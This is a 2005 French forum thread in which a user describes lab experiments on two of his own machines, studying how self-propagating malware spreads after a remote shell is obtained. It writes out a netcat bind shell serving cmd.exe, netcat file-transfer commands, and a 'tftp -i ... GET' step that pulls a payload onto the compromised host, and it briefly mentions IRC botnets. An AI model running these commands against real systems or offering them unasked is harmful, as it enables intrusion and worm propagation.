Accueil Forums DegroupNews
Pseudo :    Password :     

22 744 membres enregistrés - 1 887 704 posts - 96 554 topics 30 connectés (record : 207 le 05 juin 2007 - 05 h 23)

 
   [Probleme Reglé] "Shell" windows et upload 

lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 22 septembre 2005 - 17 h 09 m 41 s
Salut voila j'explique le probleme.

Configuration deux machines tournant sous XP Pro SP1.
Les deux bécanes sont distantes et sont connecté à internet.
on va dire que Machine A : 87.65.43.21 et Machine B : 12.34.56.78
Sur la A , un shell est ouvert sur le port 25 en permanence et sans aucun controle d'identité.(on mets de coté la securité et le piratage possible, la machine A n'a aucune données importantes , c'est pas genant si quelqu'un trouve le shell et s'y connecte.)

Maintenant sur la becane B je fait , Executer > cmd

B > telnet 87.65.43.21 25
bla bla bla
A >

Voila je suis connecté à A et j'ai acces au shell avec les droits de l'users en cours( ici administrateur)
La question que je me pose c'est comment envoyer un fichier de la machine B vers la machine A en passant par le shell ???


Message édité 2 fois, la dernière par lombredudragon le 24 septembre 2005 - 16 h 19.


bernie38
Waldorf (le pote à Statler)

Messages : 11 419
Inscrit le 28/08/03
Non connecté
  Posté le 22 septembre 2005 - 20 h 31 m 30 s
ce qui me vient tout de suite à l'esprit : A a un serveur ftp, et hop ! sinon, doit y avoir d'autres solutions je pense...



La Montagne n'est pas dangereuse : on ne peut qu'y perdre la vie, tandis qu'en ville on devient bête et méchant
Voltaire


lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 22 septembre 2005 - 21 h 51 m 33 s
Wé j'avais penser a ca mais le probleme c'est que j'ai pas le droit d'installer un serveur ftp sur la machine A

:/




yota38
MMPG

Messages : 5 401
Inscrit le 10/07/02
Non connecté
  Posté le 22 septembre 2005 - 23 h 07 m 37 s
Si tu as les droits admin sur la machine tu dois pouvoir installer ce que tu veux ..

Maintenant j'ai comme un doute sur le bien fonde de ton topic ..




kha
Google is your best friend

Messages : 1 235
Inscrit le 01/03/02
Non connecté
  Posté le 23 septembre 2005 - 02 h 41 m 51 s
Sur le port 25 habituellement c est le smtp qui tourne... je comprends pas : si tu as vraiment installe un telnet sur le port 25, c est probablement que ya qq chose qui va pas, ou alors c ets que tu te connecte vraiment sur un smp, mais qui n envois pas de banniere...

de toute facon, dans les 2 cas tu auras du mal a transferer des fichiers.




lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 23 septembre 2005 - 17 h 23 m 38 s
bon je me suis mal expliqué au debut d'ou le lock et le passage au purgatoire .
Ayé j'ai fini mon pelerinage je vais m'expliquer plus clairement.

Je fais une etude sur les CPA , les deux machines m'appartiennent , je m'interdis d'installer un serveur ftp sur la machine A mais la machine B a le tftp de windows. j'ai choisis le port 25 mais j'aurais pu prendre n'importe quel port. je bind le shell de cette maniere : nc -L -p [PORT] -d -e cmd.exe

le but du thread est de comprendre comment le CPA(ici c'est moi meme qui test de la machine B) apres s'etre connecté à la machine faillible (ici c'est mon deuxieme ordi machine A) arrive à s'envoyé (moi je test avec une image) à la machine distante(machine A) qui n'a pas de serveur ftp.

On va dire que c'est à la limite des règles du forum donc j'aimerais savoir si on lock definitivement ce topic ou on continue ????? :jap:




kha
Google is your best friend

Messages : 1 235
Inscrit le 01/03/02
Non connecté
  Posté le 23 septembre 2005 - 19 h 01 m 04 s
ok donc si je comprends bien tu as :

machine B distante : nc -L -p 25 -d -e cmd.exe
mahcine B : => nc disponible, tftp ausi

mahcine A locale : telnet B 25
machine A : pas de serveur ftp mais client tftp dispo

Et tu veux transferer un fichier de B vers A.

Tu pourrais preciser :
- machine A : nc disponible ? serveur tftp dispo ?
- mahcine B : serveur tftp dispo ? serveur ftp dispo ?

Sinon, tu peux faire :

machine A: nc -l -p 6666 > fichier
(-l est imortant)

machine B: type fichier | nc A 6666
(tu fait ensuite ctrl+c pour couper la communication qd le transfert est fini selon toi car la fin de fichier envoyee par type ne stoppe pas le socket cree par netcat)




lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 23 septembre 2005 - 19 h 44 m 38 s


Le 23 septembre 2005 - 19 h 01, kha a écrit :
ok donc si je comprends bien tu as :

machine B distante : nc -L -p 25 -d -e cmd.exe
mahcine B : => nc disponible, tftp ausi

mahcine A locale : telnet B 25
machine A : pas de serveur ftp mais client tftp dispo

Et tu veux transferer un fichier de B vers A.

Tu pourrais preciser :
- machine A : nc disponible ? serveur tftp dispo ?
- mahcine B : serveur tftp dispo ? serveur ftp dispo ?



en fait c'est plutot transferer un fichier de A vers B.

Machine A : Le CPA a installé netcat et tftp de disponible
Machine B : tftp et un acces au shell de disponible (netcat sert juste à simuler un shell obtenu par un exploit de type remote buffer overflow envoyer par Machine A).

Etape 1
Machine A : Telnet B 25 ------- connexion ------------> Machine B (shell sur le port 25 simuler par nc)

Etape 2 :
Machine A : Shell_B > ....

Etape 3 :
Machine A : Fichier ---------------- envoi -----------------> Machine B recoit le fichier.


Message édité 5 fois, la dernière par lombredudragon le 23 septembre 2005 - 20 h 00.


cilo
Que puis-je faire pour vous?

Messages : 7 207
Inscrit le 07/11/01
Non connecté
  Posté le 23 septembre 2005 - 20 h 10 m 38 s


Le 23 septembre 2005 - 17 h 23, lombredudragon a écrit :
On va dire que c'est à la limite des règles du forum donc j'aimerais savoir si on lock definitivement ce topic ou on continue ????? :jap:

Moi j'attend de lire le résultat de cette expérience :D



"Maintenant, on ne fait plus de camembert, on fabrique un truc rond et blanc qu'on appelle camenbert" M. Lepetit

iraysyvalo
-

Messages : 9 647
Inscrit le 19/11/02
Non connecté
  Posté le 23 septembre 2005 - 20 h 15 m 25 s

Qu'entends-tu par CPA ??




Pour un ban rapide et garanti sur ce forum, argumentez vos posts, dites simplement la verite, parlez de la realite et les leche-culs d'un cote et les maniaques du ban de l'autre se feront un plaisir de vous envoyer au purgatoire aussi sec.


lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 23 septembre 2005 - 20 h 43 m 46 s


Le 23 septembre 2005 - 20 h 10, cilo a écrit :


Le 23 septembre 2005 - 17 h 23, lombredudragon a écrit :
On va dire que c'est à la limite des règles du forum donc j'aimerais savoir si on lock definitivement ce topic ou on continue ????? :jap:

Moi j'attend de lire le résultat de cette expérience :D


Au pire pendant l'experience sur ma becane quelqu'un trouve le shell et s'amuse sur mon disque :dd:
J'ai mon cd de reinstall pas loin :P


iraysyvalo > Definition de CPA : Code Parasite Autopropageable


Message édité 1 fois, la dernière par lombredudragon le 23 septembre 2005 - 20 h 44.


kha
Google is your best friend

Messages : 1 235
Inscrit le 01/03/02
Non connecté
  Posté le 24 septembre 2005 - 03 h 53 m 06 s
je vois pas trop ou tu veux en venir.... si tu veux simuler un exploit, de toute facon il sera code de telle maniere qu il aura son propre systeme de transfert de fichier.

si tu veux refaire manuellement les etapes, ben sur b tu a la commande ftp qui te permet de te connecter sur un ftp de A que tu cree pour simuler le systeme de transfert d un CPA par eemple !




kha
Google is your best friend

Messages : 1 235
Inscrit le 01/03/02
Non connecté
  Posté le 24 septembre 2005 - 03 h 54 m 16 s
t as qu a coder et tu verras. je vois pas l interet de ton experience pasque si un code malicieux se trouve sur B de toute facon B est compromis et n importe quoi peut etre fait dessus, soit en utilisant des commandes systemes ou par programmation.




lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 24 septembre 2005 - 10 h 20 m 35 s


Le 24 septembre 2005 - 03 h 54, kha a écrit :
t as qu a coder et tu verras. je vois pas l interet de ton experience pasque si un code malicieux se trouve sur B de toute facon B est compromis et n importe quoi peut etre fait dessus, soit en utilisant des commandes systemes ou par programmation.


Justement B n'a pas encore était toucher par le CPA, seule la machine A a le CPA present sur son disque.
Sur la B on a juste un Shell d'ouvert

EDIT : je crois que j'ai compris comment ca marche j'en ai mis du temps.

Etape 1 : Machine A : le CPA installe un serveur TFTP sur la machine
Etape 2 : Machine A ------------------- envoi de l'exploit ------------------ Machine B
Etape 3 : Machine A obtient un shell sur la machine B
Etape 4 : Machine A se connecte au shell de B et execute la commande : tftp -i [ip de A] GET A:/fichier



La parade pour eviter d'etre infecter par ce genre de CPA consisterait a bloquer le port de tftp avec le firewall ??


EDIT 2 : J'ai adapté un code source de serveur tftp linux pour windows et ca marche à merveille.
Le seul truc c'etait de savoir que ioctl() sous linux peut etre remplacer par ioctlsocket() sous windows.

a+ tlm


Message édité 4 fois, la dernière par lombredudragon le 24 septembre 2005 - 16 h 19.


kha
Google is your best friend

Messages : 1 235
Inscrit le 01/03/02
Non connecté
  Posté le 24 septembre 2005 - 16 h 25 m 59 s
tu nous avait pas dit que sur la mahcine A tu pouvai faire un serveur tftp ! c est comme si t avait un ftp... mais si tu refuse un serv ftp sur A, pkoi tu mettrait un serv tftp...




lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 25 septembre 2005 - 03 h 02 m 15 s


Le 24 septembre 2005 - 16 h 25, kha a écrit :
tu nous avait pas dit que sur la mahcine A tu pouvai faire un serveur tftp ! c est comme si t avait un ftp... mais si tu refuse un serv ftp sur A, pkoi tu mettrait un serv tftp...


C'est la seule solution que j'ai trouvé :lol:




kha
Google is your best friend

Messages : 1 235
Inscrit le 01/03/02
Non connecté
  Posté le 25 septembre 2005 - 03 h 34 m 10 s
Ton experience est vraiment biaisee !




lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 25 septembre 2005 - 16 h 26 m 26 s
Si tu as d'autre idée je suis preneur.
Pour le choix du tftp au lieu du ftp c'est tout simplement
que tftp est un protocole léger qui peut etre facilement embarqué dans un CPA.
FTP aussi mais je suis résolument contre car je connais deja un peu ce protocole et je souhaite apprendre autre chose. :jap:





kha
Google is your best friend

Messages : 1 235
Inscrit le 01/03/02
Non connecté
  Posté le 27 septembre 2005 - 03 h 13 m 58 s
ben la !

un gars qui active le port tftp : soit qu il a laise son pc ouvert, soit c est un cas particulier. si c est le premier cas, tu peux utiliser n importe quel port.

ca depend c est quoi le but du code aussi... si le code veut se propager plus facilement, le moyen a utiliser est le port 80, en general non filtre par les firewalls.

maintenant, de toute facon, si la premiere connexion se fait via un remote buffer overflow d un service (quand meme de plus en plus rare), de maniere generale tu pourra utiliser n importe quel port... maintenant, ce qui est bien plus dangereux ce sont les attaques par phising, qui servent a la fois a recuperes des infos personnelles et egalement peuvent servir a infecter les postes des client via des failles d un navigateur. une fois le code telecharge et execute, c est pas tres compliquer de coder un bot irc qui va se conecter sur un chan, modere par le pirate. Tres vite il va avoir a sa disposition une panoplie de bots controlables a distance et ayant la capacite d executer plusieurs types d attaques (denis de services, scans, sniffing, ...).

Ton exemple ne reflete pas trop un cas reel generique puisqu il s appuie sur des particularites pour fonctionner.




lombredudragon


Messages : 982
Inscrit le 26/02/03
Non connecté
  Posté le 27 septembre 2005 - 23 h 18 m 56 s


Le 27 septembre 2005 - 03 h 13, kha a écrit :
Ton exemple ne reflete pas trop un cas reel generique puisqu il s appuie sur des particularites pour fonctionner.


Wé je sais car j'etudie justement un cas specifique des remote buffer overflow.
Et je cherches tout les cas possible pour infecter un poste en ayant un shell de dispo sur celui ci.
TFTP je connaissait vraiment vite fait car le ver nimda ou un autre utiliser une dll tftp dans son code.

C'est vrai qu'en ce moment les bot irc couplés aux failles navigateur marche plutot bien :dd:
Mais ca m'interresse moins :jap: